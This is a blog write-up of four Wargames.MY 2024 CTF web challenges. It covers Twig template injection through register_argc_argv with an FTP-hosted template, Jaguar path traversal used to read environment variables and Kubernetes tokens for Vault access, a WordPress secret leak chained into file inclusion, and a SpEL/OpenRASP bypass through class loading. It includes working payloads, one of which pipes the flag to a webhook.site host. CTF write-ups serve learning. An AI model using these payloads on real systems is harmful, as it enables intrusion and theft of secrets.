Site cover image

Site icon image vicevirus’ Blog

Yo, welcome to my blog! I write tech stuff and play CTFs for fun. (still a noob)

Post title icon Wargames.my WGMY 2024 Web Write-up

Dear Admin 🩸


Capture the admin's heart with your poetic words, and they might share their secrets in return. 🎭

Author: h0j3n

We were given a website where we could insert a poem and see it rendered in an .html file. We were also provided with the source code.

Image in a image block
Image in a image block

From the source code, we can see that it's using PHP and the Twig templating engine.

In the index.php, we can see that the page is calling admin.php and rendering our input in the admin_review.twig template via renderTemplate().

// index.php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['poem'])) {
    $poem = trim($_POST['poem']);
    
    if (empty($poem)) {
        $_SESSION['message'] = 'Please enter a poem.';
        $_SESSION['status'] = 'error';
    } else {
        $ch = curl_init('http://localhost/admin.php?poem=' . urlencode($poem));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// admin.php
if (!isset($_GET['poem'])) {
    http_response_code(400);
    echo json_encode([
        'status' => 'error',
        'message' => 'Invalid request'
    ]);
    exit;
}

$poem = trim($_GET['poem']);
$uniqueId = uniqid('poem_', true);
$evaluation = [
    'length' => strlen($poem),
    'lines' => count(explode("\n", $poem)),
    'words' => str_word_count($poem)
];

$isAcceptable = $evaluation['words'] >= 10 && $evaluation['lines'] >= 3;

try {
    if (!function_exists('renderTemplate')) {
        throw new Exception("renderTemplate function is not defined");
    }

    if ($isAcceptable) {
        $htmlContent = renderTemplate('admin_review', [
            'poem' => [
                'content' => htmlspecialchars($poem),
                'id' => htmlspecialchars($uniqueId),
                'evaluation' => [
                    'length' => (int)$evaluation['length'],
                    'lines' => (int)$evaluation['lines'], 
                    'words' => (int)$evaluation['words']
                ],
                'status' => 'pending',
                'submitted_at' => date('Y-m-d H:i:s')
            ]
        ]);

Another interesting thing we found is this register_argc_argv=On configuration in the Dockerfile.

RUN echo "register_argc_argv=On" > /usr/local/etc/php/conf.d/register-argc-argv.ini

But what does register_argc_argv=On really do? This is where I started to Google for a CVE/research related to register_argc_argv.

I stumbled upon this article by Assetnote, which explains how the option register_argc_argv=On can allow malicious template to be loaded in CraftCMS.

Looking at the challenge we have, we do have a similar setup to the CraftCMS article.

This PHP code below is designed to process command-line interface (CLI) options and configure a Twig template loader based on user input or fallback to a default configuration.

//config.php
$templatePath = getCliOption('templatesPath');

if ($templatePath) {
    try {
        $templatePath = validatePath($templatePath);
        $loader = new \Twig\Loader\ArrayLoader([
            'dynamic_template' => $templatePath
        ]);
        $twig = new \Twig\Environment($loader, [
            'auto_reload' => true
        ]);
    } catch (InvalidArgumentException $e) {
        die('Invalid template file: ' . $e->getMessage());
    }
} else {
    $loader = new \Twig\Loader\FilesystemLoader(__DIR__ . '/templates');
    $twig = new \Twig\Environment($loader, [
        'auto_reload' => true
    ]);
}

function getCliOption($name) {
    if (!ini_get('register_argc_argv')) {
        return null;
    }

    if (!empty($_SERVER['argv'])) {
        foreach ($_SERVER['argv'] as $i => $arg) {
            $arg = urldecode($arg);
            
            if ($arg === $name || $arg === "-$name" || $arg === "--$name") {
                return isset($_SERVER['argv'][$i + 1]) ? urldecode($_SERVER['argv'][$i + 1]) : true;
            }
            
            if (strpos($arg, "$name=") === 0 || 
                strpos($arg, "-$name=") === 0 || 
                strpos($arg, "--$name=") === 0) {
                $value = substr($arg, strpos($arg, '=') + 1);
                return urldecode($value);
            }
        }
    }
    
    return null;
}

In the Assetnote article, it says that when register_argc_argv=On, PHP will take argv from the query string, separated by spaces.

GET /test.php?foo+bar+baz

array(3) {
  [1]=>
  string(3) "foo"
  [2]=>
  string(3) "bar"
  [3]=>
  string(3) "baz"
}

With this register_argc_argv turned on, we can actually try to inject stuff into the CLI mode by passing it into the query params.

In this challenge, the CLI option that we want to control is the templatesPath which is based on the code above. If we control the templatesPath CLI option, we can probably load any Twig template that we want!

Now that we know that templatesPath is controllable via query params. How do we actually load a template through that while passing validation?

Here are some of the small validation checks it does. We need to somehow make file_exists become true.


if ($templatePath) {
    try {
        $templatePath = validatePath($templatePath);

function validatePath($path) {
    if (!file_exists($path . "/admin_review.twig")) {
        throw new InvalidArgumentException("Template file does not exist: $path");
    }
    
    $content = @file_get_contents($path . "/admin_review.twig");
    if ($content === false) {
        throw new InvalidArgumentException("Cannot read template file: $path");
    }
    
    checkTemplateContent($content, $path . "/admin_review.twig", 'template');
    
    return $content;
}

In the Assetnote article, it says that we can use ftp:// protocol to make file_exists work! Which implies, that we might need to host our own FTP server.

Now we know that we can load any template via ftp://.

It seems pretty straightforward so far, but there’s a simple block to make sure your template doesn’t have anything malicious. This can be easily bypassed with simple string concatenation + map.

function checkTemplateContent($content, string $path, string $type): void {
    $forbidden = [
        'system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open',
        'assert', 'pcntl_exec', 'eval', 'call_user_func', 'ReflectionFunction','filter','~'
    ];

    foreach ($forbidden as $word) {
        if (stripos($content, $word) !== false) {
            http_response_code(403);
            die("Oh no! 😭 You tried to use the forbidden word '$word'! The admin is very sad now... 😢");
        }
    }
}

Example bypass:

{% set cmd = ['s','y','s','t','e','m']|join('') %}
{{ ['whoami'] | map(cmd) }}

Chaining what we have together, we will have the solution.

Solution

Start by hosting your own FTP server. I won’t detail the steps here, but you can use a cloud instance or self hosted ngrok tunnel.

In my case, I used Python package pyftpdlib.

pip3 install pyftpdlib
python3 -m pyftpdlib -p 2121 -w

We want to host this malicious template code which is named as admin_twig.php in the FTP server. This template code below will call system() , cat the flag and send it to our webhook.

{% set cmd = ['s','y','s','t','e','m']|join('') %}
{{ ['cat /flag* | curl -X POST -d @- https://webhook.site/'] | map(cmd) }}

The final request to be sent to index.php should look like this:

poem=Roses+are+red%0AViolets+are+blue%0ASugar+is+sweet+--templatesPath=ftp://anonymous:@<hostedserverip>:2121/

Sending the request above, will fetch you the flag and send it to your webhook/something similar.

Flag: wgmy{eae236d68a96aed8af76923357728478}

Warmup 2 🩸


Good morning everyone (GMT+8), let's do some warmup!

Check out dart.wgmy @ 13.76.138.239

P.S. It is the same file as Secret 2.

Author: zx

In this challenge we were given an instance of k3s hosting a Dart web application and a Hashicorp vault.

This challenge is very straightforward, what the challenge wants us to do is somehow exfiltrate the environment variables, as that is where the flag is located.

# dart.values.yaml
ingress:
  enabled: true
  className: traefik
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: default-ratelimit@kubernetescrd
  hosts:
    - host: dart.wgmy
      paths:
        - path: /
          pathType: Prefix

env:
  WGMY_FLAG: flag{test}

The Dart web app is running Jaguar and the code is very simple and doesn’t require much digging.

// dart.dart
import 'package:jaguar/jaguar.dart';

void main() async {
  final server = Jaguar(port: 80);
  server.staticFiles('/*', '/app/public');
  server.log.onRecord.listen(print);
  await server.serve(logRequests: true);
}

Looking into the issues, it seems like there is a directory traversal vulnerability for static files in the repository issues.

Reference

Image in a image block
Solution

Now that we know file read is possible, what we need is to read the /proc/self/environ as that is where the environment variables are usually stored.

Final payload:

curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fproc/self/environ" --output env
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=dart-5cc994657c-jr6gkWGMY_FLAG=wgmy{1ab97a2708d6190bf882c1acc283984a}KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443DART_SERVICE_HOST=10.43.248.152DART_PORT_80_TCP_PROTO=tcpKUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1DART_PORT=tcp://10.43.248.152:80DART_PORT_80_TCP=tcp://10.43.248.152:80DART_SERVICE_PORT_HTTP=80DART_PORT_80_TCP_PORT=80DART_PORT_80_TCP_ADDR=10.43.248.152KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PORT=443DART_SERVICE_PORT=80HOME=/%       
Flag: wgmy{1ab97a2708d6190bf882c1acc283984a}

Secret 2 🩸


Can you get the secret this time?

Check out nginx.wgmy @ 13.76.138.239

P.S. It is the same file as Warmup 2.

Author: zx

This is a continuation from previous Warmup 2 challenge.

Seeing inside the source code, the flag is stored inside a vault.

# vault.values.yaml
server:
  dev:
    enabled: true
  extraEnvironmentVars:
    WGMY_FLAG: flag{test}
  postStart:
    - /bin/sh
    - -c
    - >-
      until vault status; do sleep 1; done
      && vault secrets enable -path=kv kv-v2
      && vault kv put kv/flag flag="$WGMY_FLAG"
      && vault auth enable kubernetes
      && vault write auth/kubernetes/config kubernetes_host="https://$KUBERNETES_PORT_443_TCP_ADDR:443"
      && echo 'path "kv/data/flag" { capabilities = ["read"] }' | vault policy write wgmy -
      && vault write auth/kubernetes/role/wgmy bound_service_account_names=* bound_service_account_namespaces=* token_policies=wgmy token_ttl=1s

injector:
  enabled: false

Now looking into the Nginx config, it seems like we can probably access this vault through /vault/proxy_pass only if we are coming from the allowed IP ranges.

But the PROBLEM is most of the IP ranges is not in the public IP range, it is all private. Which makes this challenge supposed to be much harder to solve.

ingress:
  enabled: true
  className: traefik
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: default-ratelimit@kubernetescrd
  hosts:
    - host: nginx.wgmy
      paths:
        - path: /
          pathType: Prefix

volumes:
  - name: conf
    configMap:
      name: '{{ include "nginx.fullname" . }}'

volumeMounts:
  - name: conf
    mountPath: /etc/nginx/conf.d
    readOnly: true

configMap:
  enabled: true
  data:
    default.conf: |
      set_real_ip_from  10.42.0.0/16;
      real_ip_header    X-Real-IP;

      server {
        listen       80 reuseport;
        server_name  _;

        location / {
          root   /usr/share/nginx/html;
          index  index.html index.htm;
        }

        location /vault/ui/ {
          deny   all;
        }

        location /vault/ {
          allow  10.0.0.0/8;
          allow  172.16.0.0/12;
          allow  192.168.0.0/16;
          deny   all;

          proxy_pass  http://vault.vault:8200/;
        }
      }

We know that (based on docs) if we can access the /vault/ endpoint, we can login and get JWT token for us to access the actual vault inside.

Reference: https://developer.hashicorp.com/vault/docs/auth/kubernetes#via-the-api

To login to the vault, we will need a service account token, which is easily obtainable with the file read we have earlier.

The next step is to use that service account token to request us a client token. With this client token retrieved, we are able to access the flag Key-Value (KV) secret.

Solution

First step, get the service account token via the file read in Jaguar web app previously. Save it as token.txt for example.

curl "http://dart.wgmy/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar/run/secrets/kubernetes.io/serviceaccount/token" --output token.txt

Next step, you need to get the client token quickly (because the expiry time is 1 sec) and use it on the vault.

VAULT_TOKEN=$(curl -s -X POST "http://nginx.wgmy/vault/v1/auth/kubernetes/login" \
  -H "Content-Type: application/json" \
  -d @- <<EOF | jq -r '.auth.client_token'
{
  "jwt": "$(cat token.txt)",
  "role": "wgmy"
}
EOF
)

curl -s "http://nginx.wgmy/vault/v1/kv/data/flag" \
  -H "X-Vault-Token: ${VAULT_TOKEN}"
{"request_id":"1ebc6f15-3cf5-abf9-da1b-8241c505c733","lease_id":"","renewable":false,"lease_duration":0,"data":{"data":{"flag":"wgmy{1bc665d324c5bd5e7707909d03217681}"},"metadata":{"created_time":"2024-12-28T17:54:01.255537108Z","custom_metadata":null,"deletion_time":"","destroyed":false,"version":1}},"wrap_info":null,"warnings":null,"auth":null,"mount_type":"kv"}

Flag will be in the response above.

wgmy{1bc665d324c5bd5e7707909d03217681}

WordMarket 🩸


I’ve set up a WordPress eCommerce site for a client. Can you check if it’s secure enough for production? Give it a look and see if anything stands out.

Author: h0j3n

We were given a simple Wordpress e-commerce instance + and source code for it.

Image in a image block

Inside the source code, we can see that it has two plugins. cities-shipping-zones-for-woocommerce and wgmy-functions .

The wgmy-functions.php looks particulary interesting to look at because it seems to be a custom-made plugin and very small in size.

<?php

/**
 * Plugin Name: Wargames.MY Functions
 * Plugin URI: https://wargames.local/wgmy-functions/
 * Description: WooCommerce plugin only for Wargames Users
 * Version: 1.0.1
 * Author: h0j3n
*/

add_action( 'rest_api_init', function () {
    register_rest_route( 'wgmy/v1', '/add_user', array(
      'methods' => 'POST',
      'callback' => 'user_creation_menu',
      'permission_callback' => '__return_true',
    ) );
  } );
  

function user_creation_menu(){
    if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) {

        if (get_option('wgmy_secret') == $_POST["secret"]){
            $login = sanitize_user($_POST['login']);
            $password = sanitize_text_field($_POST['password']);
            $email = sanitize_email($_POST['email']);
            $role = sanitize_text_field($_POST['role']);

            if (in_array($role, array("shop_manager", "customer", "subscriber"))) {

                $user_id = wp_create_user($login, $password, $email);
        
                if (is_wp_error($user_id)) {
                    $result['message'] = $user_id->get_error_message();
                    echo json_encode($result);
                } else {
                    
                        $user = new WP_User($user_id);
                        $user->set_role($role);
        
                        $result['message'] = 'User created successfully!';
                        $result['user_id'] = $user_id;
        
                        echo json_encode($result);
                }
            } else {
                $result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.';
                echo json_encode($result);
            }
               
        }
        else {
            $result['message'] = 'Invalid secret provided.';
            echo json_encode($result);
        }
        
    } else {
        $result['message'] = 'Required fields: role, login, password, email, and secret.';
        echo json_encode($result);
    }
}

add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");

function get_config(){
    if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
        $secret_value = get_option('wgmy_secret');
        if ($secret_value) {
            echo json_encode(array('secret' => $secret_value));
        } else {
            echo json_encode(array('error' => 'Secret not found.'));
        }
    }
}

Taking a look at the code above, this particular code inside the wgmy-functions.php looks very interesting. It allows us to add a user by having the correct secret.

// wgmy-functions.php
add_action( 'rest_api_init', function () {
    register_rest_route( 'wgmy/v1', '/add_user', array(
      'methods' => 'POST',
      'callback' => 'user_creation_menu',
      'permission_callback' => '__return_true',
    ) );
  } );
  

function user_creation_menu(){
    if (isset($_POST["role"]) && isset($_POST["login"]) && isset($_POST["password"]) && isset($_POST["email"]) && isset($_POST["secret"])) {

        if (get_option('wgmy_secret') == $_POST["secret"]){
            $login = sanitize_user($_POST['login']);
            $password = sanitize_text_field($_POST['password']);
            $email = sanitize_email($_POST['email']);
            $role = sanitize_text_field($_POST['role']);

            if (in_array($role, array("shop_manager", "customer", "subscriber"))) {

                $user_id = wp_create_user($login, $password, $email);
        
                if (is_wp_error($user_id)) {
                    $result['message'] = $user_id->get_error_message();
                    echo json_encode($result);
                } else {
                    
                        $user = new WP_User($user_id);
                        $user->set_role($role);
        
                        $result['message'] = 'User created successfully!';
                        $result['user_id'] = $user_id;
        
                        echo json_encode($result);
                }
            } else {
                $result['message'] = 'Only shop_manager, customer, and subscriber roles are allowed.';
                echo json_encode($result);
            }
               
        }
        else {
            $result['message'] = 'Invalid secret provided.';
            echo json_encode($result);
        }
        
    } else {
        $result['message'] = 'Required fields: role, login, password, email, and secret.';
        echo json_encode($result);
    }
}

But… how do we get the secret? Scrolling down, this function below seems to be able to give us the secret .

// wgmy-functions.php
add_action("wp_ajax_get_config", "get_config");
add_action("wp_ajax_nopriv_get_config", "get_config");

function get_config(){
    if (isset($_POST["switch"]) && $_POST["switch"] === "1") {
        $secret_value = get_option('wgmy_secret');
        if ($secret_value) {
            echo json_encode(array('secret' => $secret_value));
        } else {
            echo json_encode(array('error' => 'Secret not found.'));
        }
    }
}

  • add_action("wp_ajax_get_config", "get_config"); registers the get_config function for logged-in users.
  • add_action("wp_ajax_nopriv_get_config", "get_config"); registers the same function for unauthenticated users (non-logged-in).
  • When a request is sent to /wp-admin/admin-ajax.php?action=get_config with the switch parameter set to 1, the get_config function is executed.

Knowing this, we can easily get the secret.

Now that we know how to get the secret, we can use the add user function earlier to create our own account. This set us up for the first initial foothold into the application!

Without thinking too much, likely the next exploitation medium will be somewhere inside the ities-shipping-zones-for-woocommerce plugin which requires a valid authenticated user.

Based on where the flag is located (/flag.php), we can try to look for RCE or LFI/LFR primitive in the plugin.

COPY plugins/flag.php /flag.php

Taking a look at the code of cities-shipping-zones-for-woocommerce plugin, we can see that there’s few include() being used. This seems like potential LFI/LFR sink.

This particular lines of code is interesting and easily accessible from any authenticated user.

	// L-467
		/**
		 * Sanitize the locations bulk edit option
		 * @param mixed $value
		 * @param mixed $option
		 * @return mixed
		 */
		public function wc_sanitize_option_wc_csz_set_zone_locations( $value, $option ) {
			if ( ! empty( $value ) && ! empty( $_POST['wc_csz_countries_codes'] ) && ! empty( $_POST['wc_csz_set_zone_country'] ) && ! empty( $_POST['wc_csz_set_zone_id'] ) ) {
				// here looks juicy
				include( 'i18n/cities/' . $_POST['wc_csz_set_zone_country'] . '.php' );
  • Condition Check: Ensures certain $_POST keys are not empty (wc_csz_countries_codes, wc_csz_set_zone_country, wc_csz_set_zone_id).
  • Dynamic File Inclusion: Includes a file dynamically based on $_POST['wc_csz_set_zone_country'].

On further testing, $_POST['wc_csz_set_zone_country'] is actually user controllable! This sets us up for the final chain on the exploit.

Solution

Now let’s start by piecing together what we have.

First, we need to get the secret from admin_ajax by sending switch=1

curl -X POST -d "switch=1" "http://46.137.193.2/wp-admin/admin-ajax.php?action=get_config"
{"secret":"owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"}

Now that we have gotten the secret, we can create any user using the previous function!

curl -X POST "http://46.137.193.2/wp-json/wgmy/v1/add_user" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "role=shop_manager&login=myuser&password=SecureP@ss123&email=myemail@example.com&secret=owoE3Yx0h61pwosXyno2FiOtVe9CaHd6lx"
{"message":"User created successfully!","user_id":3}

With this, we are able to login into the Wordpress.

The next step is to go into Woocommerce settings, and on the far right side there's cities shipping zones tab. Prepare Burp interception, fill in all the blanks and click on save changes.

Image in a image block

Set the wc_csz_set_zone_country value to ../../../../../../../../flag and send the request.

Image in a image block

You will get the flag in the response body.

Flag: wgmy{7beb8af77b68e7d8c68170b1cc2c0e91}

Wizard Chamber (Unsolved)


Can you craft the right incantation to reveal the hidden flag?

Author: h0j3n

I didn’t manage to solve this during the competition due to serious skill issue.

In this challenge, we were given a website which allows us to run any SpEL (Spring Expression Language) code.

Image in a image block

Looking into the source code, it seems to be blocking a lot of things before running the expression we give.

@PostMapping("/cast")
public String castSpell(@RequestParam("spell") String spell, Model model) {
    // WAF
    if (spell.contains("ProcessBuilder") || 
        spell.contains("getClass") ||
        spell.contains("Runtime") ||
        spell.contains("java") ||
        spell.contains("file") ||
        spell.contains("new") ||
        spell.contains("T(") ||
        spell.contains("#")) {
            return "redirect:/block";
    }

    try {
        SpelExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(spell);
        Object result = exp.getValue();
        
        model.addAttribute("result", result);
    } catch (Exception e) {
        model.addAttribute("result", "The spell failed: " + e.getMessage());
    }
    
    return "index";
}

Though all of the above, can be easily bypassed using string concatenation method or by using spaces in certain place like T( becomes T (.

The actual problem lies in OpenRASP, which is WAF that blocks any malicious attempts in the Java Runtime itself. This is some serious stuff we’re talking.

Easy and normal methods should work if there’s no OpenRASP in place. But now that we have OpenRASP, this payload below is blocked!

''.class.getSuperclass().class.forName('ja'+'va.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.class).invoke(''.class.getSuperclass().class.forName('ja'+'va.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'id')

For this challenge, we found an article reference here which shows how can we bypass OpenRASP by loading our own custom-made class.

T(org.springframework.cglib.core.ReflectUtils).defineClass('CLASSNAME',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('CLASSB64'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

My mistake at this time was relying specifically on the sun.misc base64 decoder error. In which I tried to fix it so many times. I even tried using normal Java base64 library java.util.Base64 but I probably used it the wrong way (because a friend of mine solved it using this way).

After the CTF, the author shared with me his solution. The base64 decoder he used was the org.springframework.util.Base64Utils , which also does the same job.

Solution

Now that we know we can load our own class and bypass the restrictions imposed by the app and OpenRASP, we can easily craft our own exploit!

This is my own custom-made class to read from every file in / and return it in result . Save this file below as EvilClass.java then run javac EvilClass.java , which will then output it as EvilClass.class

public class EvilClass {
    public static String result;

    static {
        StringBuilder contentBuilder = new StringBuilder();
        try {
            java.io.File rootDir = new java.io.File("/");
            java.io.File[] files = rootDir.listFiles();

            if (files != null) {
                for (java.io.File file : files) {
                    try {
                        if (file.isFile() && file.canRead()) {
                            contentBuilder.append(java.nio.file.Files.readString(file.toPath()));
                        }
                    } catch (Exception ignored) {
                    }
                }
            }
        } catch (Exception ignored) {
        }

        result = contentBuilder.toString();
    }
}

Next thing is to convert the EvilClass.class to b64.

base64 -i EvilClass.class

Modify the payload from the article abit to match our class just now. Put in the base64 encoded class inside decodeFromString(), along with the class name.

T (org.springframework.cglib.core.ReflectUtils).defineClass(
    'EvilClass',
    T (org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADcAPgoAEQAdBwAeCgACAB0HAB8IACAKAAQAIQoABAAiCgAEACMKAAQAJAoABAAlCgAmACcKAAIAKAcAKQoAAgAqCQAQACsHACwHAC0BAAZyZXN1bHQBABJMamF2YS9sYW5nL1N0cmluZzsBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAUABUBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEvaW8vRmlsZQEAAS8MABQALwwAMAAxDAAyADMMADQAMwwANQA2BwA3DAA4ADkMADoAOwEAE2phdmEvbGFuZy9FeGNlcHRpb24MADwAPQwAEgATAQAJRXZpbENsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAD1tMamF2YS9pby9GaWxlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7AQAGaXNGaWxlAQADKClaAQAHY2FuUmVhZAEABnRvUGF0aAEAFigpTGphdmEvbmlvL2ZpbGUvUGF0aDsBABNqYXZhL25pby9maWxlL0ZpbGVzAQAKcmVhZFN0cmluZwEAKChMamF2YS9uaW8vZmlsZS9QYXRoOylMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7ACEAEAARAAAAAQAJABIAEwAAAAIAAQAUABUAAQAWAAAAHQABAAEAAAAFKrcAAbEAAAABABcAAAAGAAEAAAABAAgAGAAVAAEAFgAAAPoAAwAIAAAAZbsAAlm3AANLuwAEWRIFtwAGTCu2AAdNLMYAQSxOLb42BAM2BRUFFQSiADEtFQUyOgYZBrYACJkAGBkGtgAJmQAQKhkGtgAKuAALtgAMV6cABToHhAUBp//OpwAETCq2AA6zAA+xAAIAMQBOAFEADQAIAFkAXAANAAIAFwAAADoADgAAAAUACAAHABIACAAXAAoAGwALADEADQBBAA4ATgARAFEAEABTAAsAWQAVAFwAFABdABcAZAAYABkAAAAzAAf/ACQABgcAAgcABAcAGgcAGgEBAAD8ACkHAARCBwAN+gAB/wAFAAEHAAIAAEIHAA0AAAEAGwAAAAIAHA=='),
    T (org.springframework.util.ClassUtils).getDefaultClassLoader()
).getField('result').get(null)

Sending the above payload, will get you the flag.

Image in a image block
Flag: wgmy{d409e3cc65fd8e1d89a9d226efad3a10}